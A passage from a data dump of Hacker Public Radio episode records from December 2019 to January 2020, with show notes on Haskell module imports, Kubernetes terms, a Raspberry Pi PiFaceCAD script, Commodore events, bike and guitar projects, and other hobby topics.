                                                            Easiest one is to just have import Multiplexer at the start of the main. This brings all exported identifiers from Multiplexer and we can then use them. Both qualified and unqualified names are imported. Qualified means name is prepended with module name: Multiplexer.mix instead of just mix.

                                                            \n

                                                            If we want, we can specify what exactly should be imported: import Multiplexer (mix, match). This causes only functions mix and match be imported, while Plexer and Scooper are unavailable for us. Again, both qualified and unqualified names are imported.

                                                            \n

                                                            In case we want only qualified names, we’ll write import qualified Multiplexer. After this mix isn’t available, but Multiplexer.mix is (and all the other identifiers exported by Multiplexer).

                                                            \n

                                                            Sometimes module name is long and tedious to repeat when using qualified names. In these cases, renaming module while importing is a good option. This can be done by writing import Multiplexer as M. After this, instead of Multiplexer.mix you write M.mix.

                                                            \n

                                                            Final thing I’m going to mention is importing everything else except specified identifiers. This is done by writing import Multiplexer hiding (mix). This imports everything exported by Multiplexer, except mix.

                                                            \n

                                                            Summary

                                                            \n

                                                            There are many ways of importing and they can be mixed. Here’s a list of them:

                                                            \n
                                                              \n
                                                            • import Multiplexer
                                                            • \n
                                                            • import Multiplexer ()
                                                            • \n
                                                            • import Multiplexer (mix, match, Plexer, Scooper(..))
                                                            • \n
                                                            • import qualified Multiplexer
                                                            • \n
                                                            • import qualified Multiplexer (mix, match, Plexer, Scooper(..))
                                                            • \n
                                                            • import Multiplexer hiding (mix, match)
                                                            • \n
                                                            • import qualified Multiplexer hiding (Plexer, Scooper)
                                                            • \n
                                                            • import Multiplexer as M
                                                            • \n
                                                            • import Multiplexer as M (mix, match)
                                                            • \n
                                                            • import qualified Multiplexer as M
                                                            • \n
                                                            • import qualified Multiplexer as M (Plexer, Scooper(..))
                                                            • \n
                                                            \n

                                                            In short:

                                                            \n
                                                              \n
                                                            • Some identifiers can be chosen to be imported, while leaving others unimported
                                                            • \n
                                                            • Modules can be imported qualified (forcing an obligatory namespace qualifier to imported identifiers).
                                                            • \n
                                                            • Some identifiers can be skipped via the hiding clause.
                                                            • \n
                                                            • The module namespace can be renamed, with an as clause.
                                                            • \n
                                                            \n

                                                            Prelude

                                                            \n

                                                            Prelude is base module containing lots of helpful types and functions, which is automatically imported by every module. If this is not what you want, there’s two options. First one is to use pragma at start of the file: {-# LANGUAGE NoImplicitPrelude #-}, which causes Prelude not to be imported. Another one is to manually import Prelude, which turns of automatic import: import qualified Prelude as P.

                                                            \n

                                                            Closing

                                                            \n

                                                            When system grows, it’s helpful to break it into more manageable pieces. For this we use modules. import is used to bring identifiers from other modules into current one.

                                                            \n

                                                            Questions, comments and feedback is welcomed. Best way to reach me is either email or in fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, modules","version":0,"downloads":0,"valid":1}, {"id":2959,"date":"2019-12-05","title":"Interview with Josh Clements about gpodder.net ","duration":2314,"summary":"What starts as an Interview and ends in a brain storm.","notes":"

                                                            \nIn today's show Ken interviews Josh Clements from the gpodder.net project.\n

                                                            \n

                                                            \nJosh answered the call to arms he heard on the Ubuntu Podcast. We discuss the plan and explain how you can also get involved.\n

                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"gpodder.net, Josh Clements","version":0,"downloads":0,"valid":1}, {"id":2960,"date":"2019-12-06","title":"Dehydrated Foods","duration":835,"summary":"Dehydrating your own fruits and vegetables for healthy snacks","notes":"

                                                            I have begun to dehydrate fruits and vegetables at home with my own dehydrator, and it lets me have fresher products without all of the additives. In this episode I discuss both the why and the how.

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Diet","version":0,"downloads":0,"valid":1}, {"id":2961,"date":"2019-12-09","title":"Kubernetics / Cloud - Terminology","duration":664,"summary":"We talk about terms often used when using Kubernetes","notes":"

                                                            We talk about terms often used when using Kubernetes.

                                                            \n

                                                            Terms we talk about

                                                            \n
                                                              \n
                                                            • Node - Machine to run jobs on.
                                                            • \n
                                                            • Cluster - Grouping of nodes to deploy work to.
                                                            • \n
                                                            • Container - Compute unit that we can run in the cloud
                                                            • \n
                                                            • Pod - One or more containers that are one unit in the cloud that could be started, stopped, or restarted.
                                                            • \n
                                                            • Service - Different network services that serve the pods\n
                                                                \n
                                                              • Load balancers - Balance network calls to different pods
                                                              • \n
                                                              • Certmanager - Handles certificates, for instance, let’s encrypt.
                                                              • \n
                                                              • Ingress - Handles traffic from the external network
                                                              • \n
                                                            • \n
                                                            • Volumes - External resources used by pods to keep state
                                                            • \n
                                                            • ConfigMap - Configuration parameters that could be changed without restarting the pods or deployment.
                                                            • \n
                                                            • Deployment - A configuration of all the terms mentioned that you use to deploy as a unit to the cluster.
                                                            • \n
                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kubernetics, basic, terminology","version":0,"downloads":0,"valid":1}, {"id":2962,"date":"2019-12-10","title":"Bespoke bike building","duration":1474,"summary":"Brian in Ohio continues his bike building project","notes":"

                                                            Links

                                                            \n\n

                                                            Pictures

                                                            \n

                                                            (The images below may be clicked to view the full-sized versions)

                                                            \n

                                                            \"Mocking
                                                            \nmocking up parts to see spacing, especially the crankset

                                                            \n

                                                            \"Laying
                                                            \nlaying out ‘fishmouth’ cut, used to connect two tubes

                                                            \n

                                                            \"Cutting
                                                            \nlay out fishmouth

                                                            \n

                                                            \"Cutting
                                                            \nanother layout picture, note marks on tube

                                                            \n

                                                            \"Cutting
                                                            \nfinished product

                                                            \n

                                                            \"Cutting
                                                            \ntest fitting assembly one, the engine room

                                                            \n

                                                            \"Brazing
                                                            \nbrazing complete! assembly one done

                                                            \n

                                                            \"Readying
                                                            \nsetting up assembly tube, gray tube slips inside the red tube

                                                            \n

                                                            \"Removing
                                                            \nneed to cut that small tab off, get to hear this in the recording

                                                            \n

                                                            \"Jigging
                                                            \njigging up the frame, similar to john kulps set up, see hpr 1282

                                                            \n

                                                            \"Still
                                                            \nstill in the jig but all brazed up, top half of frame done!

                                                            \n

                                                            \"More
                                                            \nthe next part will be modifiying the rear triangle and brazing it where i’m pointing to.

                                                            \n

                                                            Summary

                                                            \n
                                                              \n
                                                            • all in all, went better than expected, i’ll clean up those brazing joints after the bike is done and has been ridden for a while, before I paint it.
                                                            • \n
                                                            • brazing isn’t as difficult as i thought it might be. give it a try its a cool hacker skill!
                                                            • \n
                                                            \n","hostid":326,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"bicycle, recumbent, recycle","version":0,"downloads":0,"valid":1}, {"id":2963,"date":"2019-12-11","title":"A walk through my PifaceCAD Python code – Part 3","duration":880,"summary":"In this episode I cover functions activated when a button is pushed on the PiFaceCAD board","notes":"

                                                            Code

                                                            \n

                                                            The script being discussed in this show is available for download with the previous show: cad-menu.py

                                                            \n

                                                            Functions

                                                            \n
                                                              \n
                                                            • def button0(event):
                                                              \nPlay / Pause Button
                                                              \nPrint message to lcd and toggle between play and pause for podcasts, then runs init_display to display available options

                                                            • \n
                                                            • def button1(event):
                                                              \nTrack Information button
                                                              \nPrint message to lcd then display current moc track information such as moc state, current time, time left, current playlist number of total playlist number & podcast title.
                                                              \n
                                                              \nExample output from command mocp --info

                                                              \n
                                                              State: PAUSE\nFile: /home/pi/files/mp3/hpr1597.mp3\nTitle: Steve Smethurst - HPR1597: Extravehicular Activity (Hacker Public Radio)\nArtist: Steve Smethurst\nSongTitle: HPR1597: Extravehicular Activity\nAlbum: Hacker Public Radio\nTotalTime: 14:11\nTimeLeft: 02:47\nTotalSec: 851\nCurrentTime: 11:24\nCurrentSec: 684\nBitrate: 64kbps\nAvgBitrate: 64kbps\nRate: 44kHz
                                                            • \n
                                                            • def button2(event):
                                                              \nPrevious Track Button
                                                              \nButton is only active if button is pushed twice within 0.3 seconds. This was added to stop moving to a new track by accidental pushing of button. If menu = 0 or 1 and value of variable TimeDiff is less than 0.3 then Print message to lcd and move to previous track in playlist. If menu = 2 and button pressed twice within 0.3 then display number of HPR shows in the queue

                                                            • \n
                                                            • def button3(event):
                                                              \nNext track Button
                                                              \nButton is only active if button is pushed twice within 0.3 seconds. This was added to stop moving to a new track by accidental pushing of button. If menu = 0 or 1 and value of variable TimeDiff is less than 0.3 then Print message to lcd and move to next track in playlist Button currently has no function if menu = 2

                                                            • \n
                                                            • def button4(event):
                                                              \nToggle backlight Button
                                                              \nIf 1st time button is pushed then turn off blinkstick and display main menu else Toggle lcd backlight between on and off

                                                            • \n
                                                            • def moc_seek():
                                                              \nUsed to seek backward or forward in track being played in mocp SeekPosition is a global variable used to store the current seek position, its value changes up and down when using button6 and button7

                                                            • \n
                                                            • def button5(event):
                                                              \nJogg switch
                                                              \nThis button is selected by momentarily pushing in the left/right toggle button. Button located on the top of unit
                                                              \n\n
                                                                \n
                                                              • If menu equals 0 or 1, [PODCASTS or AUDIOBOOKS] menu then
                                                                \n\n
                                                                  \n
                                                                • if not in seek menu then display seek menu
                                                                • \n
                                                                • if in seek menu then jump forward or back in track by the amount currently displayed on the seek menu, uses function moc_seek()
                                                                • \n
                                                              • \n
                                                              • If menu equals 2, [SYSTEM] menu then\n
                                                                  \n
                                                                • Get date and time information, Clear screen, turn on LCD backlight print the shutdown message with date and time info to lcd & then issue the shutdown command
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • def button6(event):
                                                              \nLeft Jogg switch decrement through menus also used during seek
                                                              \nThis button is selected by momentarily pushing the toggle switch to the left. Button located on the top of unit
                                                              \nButton only active if more than 0.3 seconds has passed since it was last pushed, this was added to get around switch bounce causing multiple jumps in menu, think left and right jogg switch is a bit noisy.\n
                                                                \n
                                                              • If in seek menu\n
                                                                  \n
                                                                • SeekPosition decrements by one until SeekMin is reached, and then returns to 0
                                                                • \n
                                                                • each time the display is updated with the decremented value stored in dictionary SeekDisplay
                                                                • \n
                                                              • \n
                                                              • If not in seek menu\n
                                                                  \n
                                                                • Menu decrements down by one until MenuMin is reached then rolls over to MenuMax
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • def button7(event):
                                                              \nSame as button6 above but instead increments value, i.e. menu or seek value is incremented by 1

                                                            • \n
                                                            • def print_ir_code(event):
                                                              \nUsed during debugging to get remote control working, came from piface examples page, prints IR code print(event.ir_code)

                                                            • \n
                                                            • def ir_play(event):
                                                              \nIf the play button is pushed on the remote control twice within 0.5 seconds and if IR is active then toggle backlight and toggle between play and pause

                                                            • \n
                                                            • def ir_info(event):
                                                              \nIf the info button (pause) is pushed on the remote control twice within 0.5 seconds and if IR is active then toggle backlight and display on the LCD information about the current track

                                                            • \n
                                                            • def ir_rewind(event):
                                                              \nIf the rewind button is pushed on the remote control and if IR is active then toggle backlight and go to previous track on playlist

                                                            • \n
                                                            • def ir_forward(event):
                                                              \nIf the forward button is pushed on the remote control and if IR is active then toggle backlight and go to next track on playlist

                                                            • \n
                                                            • def ir_stop(event):
                                                              \nIf the stop button is pushed on the remote control and if IR is active then toggle backlight

                                                            • \n
                                                            • def ir_blue(event):
                                                              \nActivate and deactivate IR buttons on the remote control, turns blinkstick on red when IR active. When blue button is pushed twice within 0.5 seconds on remote control, toggle backlight and display momentary message on LCD display giving IR status i.e. are the remote control buttons active or deactive.
                                                              \n
                                                              \nAll remote buttons bar this one are affected. This feature was added to remotely disable all the buttons while using the TV remote control media buttons these would sometimes falsely trigger things
                                                              \n
                                                              \nThe double push of the blue button within 0.5 seconds was added as sometimes a single push of it was required on my TV and this would falsely activate it
                                                              \n
                                                              \nFeature added to check if var FirstPass is set to true, i.e. backlight button4 has not pushed since boot
                                                              \n
                                                              \nbutton4 normally toggles backlight but turns off hpr queue LED first time it’s pushed after boot.

                                                            • \n
                                                            \n","hostid":201,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"Audio, Podcasts, Linux, Command Line, Python, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2964,"date":"2019-12-12","title":"Bolos and Bowties: Neckwear for Nerds","duration":980,"summary":"I talk about ties, at least the kind I like to wear when the occasion calls for it.","notes":"

                                                            It's probably because of a non-conformist streak in me, but I've never liked traditional neckties. In fact I never wanted to wear any ties until I got my first bolo tie, which was sufficiently different from everyone else and easy enough to put on that I decided I could wear bolo ties. I've built a collection of about a dozen of these and they always get positive comments, especially the ones made from recycled circuit boards. Recently I've expanded my horizons to include bowties, which have a more formal appearance and the added nerd factor of being difficult to tie for most people. In this episode I talk about my ties.

                                                            \n\n

                                                            Click image to view photo gallery

                                                            \n\n

                                                            \"Bolos

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Style, Fashion, Recycling, Upcycling, Circuit Boards, Ties, Bowties, Bolo Ties, Neck ties","version":0,"downloads":0,"valid":1}, {"id":2965,"date":"2019-12-13","title":"instant feedback for students in maths","duration":838,"summary":"How we use old CAS software to give students instant feedback in their maths homework","notes":"

                                                            I'm trying to make sure that this show doesn't come across as as advertisment placement on HPR I won't provide a link to our application (which wouldn't help a lot anyway as we don't really have much of a web site anyway.).

                                                            \n

                                                            However I'll link to some of the technical components:

                                                            \n

                                                            The Computer Algebra System we use is called Maxima, its history goes back to the early 80s. It's written in common lisp.

                                                            \n

                                                            We have considered switching to SymPy as a more modern alternative. SymPy doesn't offer the feature completeness Maxima does, though. It has still a long way to go.

                                                            \n

                                                            Our servers run Debian. The current version is written in PHP but we are working on a new version based on dockerized Django with a JS frontend in Ember along with some micro services written in Go, Python and PHP.

                                                            \n

                                                            To render math we use MathJax in the current version and KaTeX in the new version. The PDF-export of worksheets is of course done in LaTeX.

                                                            ","hostid":288,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"maths,education,learning","version":0,"downloads":0,"valid":1}, {"id":2966,"date":"2019-12-16","title":"World of Commodore 2019 Episode 1: The Interviews","duration":1174,"summary":"In this first episode, I interview exhibitors and members at the World of Commodore in 2019.","notes":"

                                                            Hello, good people of Hacker Public Radio, my name is Paul Quirk and this is my very first ever podcast. I would like to give credit Klaatu of Gnu World Order for making me aware of Hacker Public Radio, which I’ve been a listener of for the past year. As we near the holiday season of the winter solstice, I decided to give back to the open source community with this gift of a mini series of podcasts about the World of Commodore from December 7, 2019.

                                                            \n

                                                            The World of Commodore is an annual computer expo dedicated to Commodore computers that is normally held on the first Saturday of December in the city of Mississauga, Ontario. It started off back in 1983 by Commodore Canada as a trade show where Commodore and related vendors could showcase their latest products for the holiday season. As a Commodore computer nerd kid of the 1980’s living within an hour’s drive of Mississauga, this was an event I always looked forward to with excitement. For me, this was bigger and better than Santa Claus. Commodore went bankrupt in 1994, but a decade later, the show was revived by the Toronto PET user’s group, or TPUG, one of the world’s oldest computer user groups of which I am a member. Today’s World of Commodore is very different from the expo’s of the 1980’s, and has transformed into an event where hackers from around the world gather together to share ideas and show off their own discoveries and products, both open source and commercial.

                                                            \n

                                                            Since many listeners and contributors of Hacker Public Radio got started with a Commodore computer at some time, and since this event has grown beyond Commodore products and into open source hardware and software, I thought this event would be of great interest to this community, and it is my hope that many of you listeners might join us at next year’s World of Commodore.

                                                            \n

                                                            I have decided to create a miniseries of podcasts of this event which I will release on a weekly schedule. In this first episode, I walk around the trade show floor and interview various exhibitors, vendors, and members of TPUG. As there is a visual element to this podcast, I have posted pictures of the exhibits in my personal non-commercial blog at pquirk.com, which I encourage you to visit in order to get the full experience. And so, with no further ado, let’s all go to the wonderful world of Commodore.

                                                            \n\n","hostid":383,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Commodore,PET,Amiga,Gecko,retro","version":0,"downloads":0,"valid":1}, {"id":2967,"date":"2019-12-17","title":"Wrestling As You Like It Episode 2","duration":1599,"summary":"Wrestling As You Like It Episode 2","notes":"

                                                            Today’s episode is about the landscape of professional wrestling today, the hierarchy, and how it came to be that way, and a brief explanation of different styles of professional wrestling.

                                                            ","hostid":354,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Pro Wrestling","version":0,"downloads":0,"valid":1}, {"id":2968,"date":"2019-12-18","title":"Life and Times of a Geek part 3","duration":2441,"summary":"Part 3 of my personal story of experiences with computers","notes":"

                                                            Introduction

                                                            \n

                                                            In the last part of my story (show 1811 in 2015) I told you about some of my experiences at the University of Manchester as a postgraduate student from around 1973.

                                                            \n

                                                            Today I want to talk a little more about my time in Manchester and mention some of the things I did that may be of interest to Hackers!

                                                            \n

                                                            Researching for the episode

                                                            \n

                                                            As I have been researching for this HPR episode I realise how long ago some of these events were - in Internet years particularly. In many cases I could find no online records of places, equipment or people. This seems to be because any records there might be are on paper and have never made it online. I contacted a company that made some of the laboratory equipment I used that I thought might be of interest, and the person I contacted said that although he remembered what I was referring to the company had kept no records of it and had had to discontinue it due to modern safety concerns.

                                                            \n

                                                            I find this somewhat dispiriting and it makes me feel very very old!

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode. The HTML version can be viewed here and the ePub version downloaded from here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"video recorder,Skinner box,logic gate,digitiser,Dobbie McInnes,Data General,teletype,Cyber-72,APL,Si","version":0,"downloads":0,"valid":1}, {"id":2969,"date":"2019-12-19","title":"Crewing a spaceship in Haskell","duration":1358,"summary":"How to calculate amount of crew needed for a spaceship","notes":"

                                                            Intro

                                                            \n

                                                            Every spaceship in game needs a crew to operate it. Smaller ships with fewer components require less crew than huge ones with lots of components.

                                                            \n

                                                            Types

                                                            \n

                                                            Unit stats lists amount of crew required to operate a spaceship and if they need sleeping quarters.

                                                            \n
                                                            data UnitStats = UnitStats\n    { unitStatsMinimumCrew :: ![CrewRequirement]\n    , unitStatsNominalCrew :: ![CrewRequirement]\n    , unitStatsCrewSpace :: !TotalCrewSpace\n    , unitStatsCrewSpaceRequired :: !CrewSpaceReq\n    } deriving (Show, Read, Eq)
                                                            \n

                                                            Different positions a crew can have is an enumeration:

                                                            \n
                                                            data CrewPosition =\n    Commander\n    | Navigator\n    | Signaler\n    | SensorOperator\n    | Gunner\n    | Doctor\n    | Nurse\n    | Driver\n    | Helmsman\n    | Artificer\n    | Crew\n    | Passenger\n    deriving (Show, Read, Eq, Enum, Bounded)\nderivePersistField "CrewPosition"
                                                            \n

                                                            Rank of a crew member isn’t a military rank, but rather their position in ship’s internal hierarchy:

                                                            \n
                                                            data CrewRank =\n    SecondClass\n    | FirstClass\n    | Senior\n    | Chief\n    deriving (Show, Read, Eq, Enum, Bounded)\nderivePersistField "CrewRank"
                                                            \n

                                                            Amount of crew is newtype that helps me not to mix different types of numbers with each other.

                                                            \n
                                                            newtype CrewAmount = CrewAmount { unCrewAmount :: Int }\n    deriving (Show, Read, Eq, Ord, Num)
                                                            \n

                                                            Total crew space of a ship is divided to three different types: steerage, standard and luxury.

                                                            \n
                                                            data TotalCrewSpace = TotalCrewSpace\n    { totalCrewSpaceSteerage :: !(CrewSpace SteerageQuarters)\n    , totalCrewSpaceStandard :: !(CrewSpace StandardQuarters)\n    , totalCrewSpaceLuxury :: !(CrewSpace LuxuryQuarters)\n    } deriving (Show, Read, Eq)
                                                            \n

                                                            Again, crew space is newtype so I don’t mix different types of numbers with each other.

                                                            \n
                                                            data CrewSpace a =\n    CrewSpace { unCrewSpace :: CrewAmount }\n    deriving (Show, Read, Eq)
                                                            \n

                                                            I could have modeled fact that vehicle might need crew space with Bool, but having a descriptive name and type is more to my liking.

                                                            \n
                                                            data CrewSpaceReq =\n    CrewSpaceRequired\n    | CrewSpaceOptional\n    deriving (Show, Read, Eq)\nderivePersistField "CrewSpaceReq"
                                                            \n

                                                            The fact that single person could manage multiple components is reflected by ComponentCrewReq having Double instead of Integer

                                                            \n
                                                            -- | Crew requirements for a component\ndata ComponentCrewReq =\n    ComponentCrewReq CrewPosition Double\n    deriving (Show, Read, Eq)
                                                            \n

                                                            In closing

                                                            \n

                                                            If you have questions, comments or feedback, easiest way to catch me nowdays is by email or in fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, problem solving","version":0,"downloads":0,"valid":1}, {"id":2970,"date":"2019-12-20","title":"The Fediverse","duration":1142,"summary":"The Fediverse is the open network of social media platforms","notes":"

                                                            The Fediverse is the name given to the collection of social media platforms that are distributed and interconnected. Distributed means that the servers are not centrally controlled, but are available to users in a variety of forms and conditions. And interconnected means they use protocols that are designed to allow communication between different platforms as well as different servers. The most common of these protocols is ActivityPub.

                                                            \n

                                                            https://www.zwilnik.com/?page_id=1050

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub","version":0,"downloads":0,"valid":1}, {"id":2971,"date":"2019-12-23","title":"World of Commodore 2019 Episode 2: Hacking GeckOS","duration":2960,"summary":"Glen Holmer explains how he got Linux running on a Commodore 64.","notes":"","hostid":383,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"Commodore,PET,Amiga,Geckos,retro,Linux,Open Source","version":0,"downloads":0,"valid":1}, {"id":2972,"date":"2019-12-24","title":"The foot of the ski slope","duration":2681,"summary":"MrX and Dave Morriss chat about nerdy things near a ski slope","notes":"

                                                            Another in the chat series from Edinburgh

                                                            \n

                                                            Hosted by MrX and Dave Morriss

                                                            \n

                                                            This time we met up for breakfast on Sunday 24th November in a pub/restaurant in an area called Hillend, just outside Edinburgh in Midlothian. The hill close by is the location of the Midlothian Snowsports Centre, an artificial Ski Slope which is very popular in the region for recreation and training.

                                                            \n

                                                            We chatted for a while inside then moved to Studio C in the car park and recorded this episode.

                                                            \n

                                                            PDAs and the like

                                                            \n

                                                            We were talking about PDAs (Personal Data Assistants) from the 1980’s.

                                                            \n
                                                              \n
                                                            • MrX had recently been offered a Gemini device and had at one time owned a Psion Series 3c.
                                                            • \n
                                                            • Dave owns a broken Psion Series 5 (and recently parted with a working one after much bargaining).
                                                            • \n
                                                            • Dave struggled to remember devices like the Palm Pilot which were quite popular in the 80’s and 90’s. These had no keyboard, but offered a touch-sensitive screen, used with a stylus, and had handwriting recognition1.
                                                            • \n
                                                            • MrX mentioned the Compaq iPAQ PDA (Compaq was later acquired by Hewlett Packard) from the 2000’s, which was a much advanced PDA with similar features.
                                                            • \n
                                                            \n

                                                            Software annoyances

                                                            \n
                                                              \n
                                                            • Mr X has had some problems with the latest Audacity on Ubuntu. It sometimes does not launch from the menu link after an upgrade.
                                                            • \n
                                                            • Calibre on Dave’s Debian Testing system has stopped working recently, due to a Python error.2
                                                            • \n
                                                            • Dave uses Clementine, the music player, which turns off the UI when you close it down the wrong way and apparently doesn’t provide a way to enable it again without hacking the configuration file3.
                                                            • \n
                                                            • MrX had problems with audio device recognition and uses hdajackretask to correct this. This is part of the alsa-tools-gui package on Debian (and related)4, but has a non-intuitive UI.
                                                            • \n
                                                            \n

                                                            OS choices

                                                            \n
                                                              \n
                                                            • Dave uses Raspbian Lite on his headless Raspberry Pis (which he secures using advice from Ken Fallon’s HPR show on preparing the Raspbian image).
                                                            • \n
                                                            • MrX uses standard Raspian on RPis, Ubuntu as his main Linux version, as well as OSMC (Open Source Media Center) on a Raspberry Pi, for watching media.
                                                            • \n
                                                            • Dave originally started with Fedora (actually Red Hat version 4 for a brief time) then moved to Ubuntu (Kubuntu) before moving to Debian Testing on his desktop, and KDE Neon on his laptop.
                                                            • \n
                                                            • Both had used Crunchbang at one point, another Debian-based distribution.
                                                            • \n
                                                            \n

                                                            A few other topics

                                                            \n\n

                                                            Links

                                                            \n\n\n
                                                              \n
                                                            • Compaq computers\n
                                                            • \n
                                                            \n\n\n\n\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. The person using a Palm Pilot to take meeting notes had an external keyboard, and wasn’t using handwriting recognition!

                                                            2. \n
                                                            3. calibre was failing with the error: ImportError: No module named functools_lru_cache. It later proved possible to fix this by reinstalling a Python module: pip2 install --force backports.functools_lru_cache

                                                            4. \n
                                                            5. There have been no releases of Clementine since 2016 sadly, though there are more recent changes on the GitHub page.

                                                            6. \n
                                                            7. Information on the web about alsa-tools-gui seems a little sparse. The hdajackretask application has a README file in the distribution that gives some information.

                                                            8. \n
                                                            \n
                                                            ","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,hosts,meeting,technology","version":0,"downloads":0,"valid":1}, {"id":2973,"date":"2019-12-25","title":"Introduction to Advent of Code","duration":836,"summary":"Advent of code is a challenge each year between 1-25 of December.","notes":"

                                                            I discuss all the challenges we have seen so far during the Advent of Code and talk about what they entailed and how hard they were to solve.

                                                            ","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"coding, challenge","version":0,"downloads":0,"valid":1}, {"id":2974,"date":"2019-12-26","title":"Guitar Setup pt. 2","duration":3107,"summary":"NYbill finish a guitar setup.","notes":"

                                                            Heh, listen to NYbill tune a guitar for an hour.

                                                            \n

                                                            Part two of guitar set up. Fret polishing, neck relief, string height, and intonation.

                                                            \n

                                                            Suppliers:

                                                            \n\n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Guitar, Setup, Repair","version":0,"downloads":0,"valid":1}, {"id":2975,"date":"2019-12-27","title":"SimpleScreenRecorder and Vidcutter","duration":311,"summary":"Two useful applications to record a screen, and to chop and trim a video ","notes":"

                                                            In today’s show Ken talks about two small applications to make recording and trimming video easy.

                                                            \n

                                                            What is SimpleScreenRecorder?

                                                            \n
                                                            \n

                                                            SimpleScreenRecorder is a Linux program that I’ve created to record programs and games. There were already a few programs that could do this, but I wasn’t 100% happy with any of them, so I created my own.

                                                            \n

                                                            My original goal was to create a program that was just really simple to use, but as I was writing it I started adding more and more features, and the result is actually a pretty powerful program. It’s ‘simple’ in the sense that it’s easier to use than ffmpeg/avconv or VLC, because it has a straightforward user interface.

                                                            \n
                                                            \n

                                                            What is VidCutter

                                                            \n
                                                            \n

                                                            The simplest & sexiest tool for cutting and joining your videos without the need for re-encoding or a diploma in multimedia. VidCutter focuses on getting the job done using tried and true tech in its arsenal via mpv and FFmpeg.

                                                            \n
                                                            \n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"SimpleScreenRecorder, Vidcutter, ffmpeg, ffprobe, mediainfo","version":0,"downloads":0,"valid":1}, {"id":2976,"date":"2019-12-30","title":"A walk through my PifaceCAD Python code – Part 4","duration":391,"summary":"This is the last show in the series and covers the main program section at the bottom of my script","notes":"

                                                            This is the last show in the series. The series was recorded in one go and split into multiple parts. This last section is pretty short; it covers the main program section at the bottom of my script that calls all the other functions and allows the user to quit the program. In this episode I also mention explanatory notes that I included in my script. These are mainly for my own benefit so I could remember how I set up lirc. I’ve included these notes at the end of these show notes.

                                                            \n

                                                            Main program
                                                            \nTurn LCD backlight on, print System up message to LCD, wait a few seconds then clear screen. Activate push buttons on control and display board. Activates various IR buttons waiting on input from the remote control. Print quit message to terminal, waiting for input, repeat message until q is entered by user. When q is entered deactivate buttons and turn LCD backlight off.

                                                            \n

                                                            Below are my Lirc explanatory comments at the end of my Python script.

                                                            \n
                                                            \n

                                                            lirc
                                                            \nThis is the Linux IR control program
                                                            \nLIRC (Linux Infrared remote control) is an open source package that allows users to receive and send infrared signals with a Linux-based computer system.

                                                            \n

                                                            Irrecord
                                                            \nTool used to record valid IR codes from your remote control. It generates the file /etc/lirc/lircd.conf, possibly overwrites original file so use with caution. It attempts to recognise your remote control from a series of button pushes. If the remote is not recognised then it captures the codes in raw mode, I abandoned this tool and got a valid IR file for a very similar remote control on the internet, see info below

                                                            \n

                                                            /etc/lirc/lircd.conf
                                                            \nFile used to store IR codes for your remote control, either using the tool irrecord or from somewhere on the internet. This file is a direct copy of file \"BN59-00861A-SAMSUNG-TV.conf\" I added the Samsung TV string to the file name.

                                                            \n

                                                            irw
                                                            \nTool used to get the key names for your particular remote control, for this to work you must first have a valid /etc/lirc/lircd.conf file

                                                            \n

                                                            ~/.lircrc
                                                            \nThis file is used to store the remote control key names that you want to activate, and what action is to be taken when the button is pushed. Adding the field \"remote =\" allows the use of multiple remote controls. The remote control key names can be found by using the command \"irw\", I created a file called ~/scripts/remote-key-names-sorted.txt to store the valid key names for my Samsung remote control

                                                            \n

                                                            ~/scripts/remote-key-names-sorted.txt
                                                            \nList of valid remote control key names for my Samsung remote control, this was generated using the irw command. I used the \"tee\" command to pipe output to the screen and write output to this file at the same time, see file for further details of commands I used.

                                                            \n
                                                            \n","hostid":201,"series":38,"explicit":1,"license":"CC-BY-SA","tags":"Podcasts, Linux, Command Line, Python, Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2977,"date":"2019-12-31","title":"World of Commodore 2019 Episode 3: Life after Commodore","duration":1660,"summary":"A presentation by Dr. Richard Immers, author of \"Inside Commodore DOS\"","notes":"

                                                            Some relevant links of note:

                                                            \n\n","hostid":383,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Commodore,PET,Amiga,64,Geckos,retro,Inside Commodore,DOS","version":0,"downloads":0,"valid":1}, {"id":2978,"date":"2020-01-01","title":"GARAGE DOOR","duration":738,"summary":"I talk about various GARAGE DOOR and fixes","notes":"

                                                            Are you afraid if your garage door ? Have no fear!

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"home improvement, garage door ,DIY","version":0,"downloads":0,"valid":1}, {"id":2979,"date":"2020-01-02","title":"Bicycle Freewheel Maintenance","duration":450,"summary":"I explain how to lube a bicycle freewheel","notes":"

                                                            This is a short episode where I explain how to service your bicycle freewheel if it's misbehaving. My pedals were turning around when I walked the bike, and they ought to be stationary. A quick dose of chain oil in the freewheel fixed the problem. Click the image to see photos showing how to do this.

                                                            \n\n

                                                            \"Bicycle

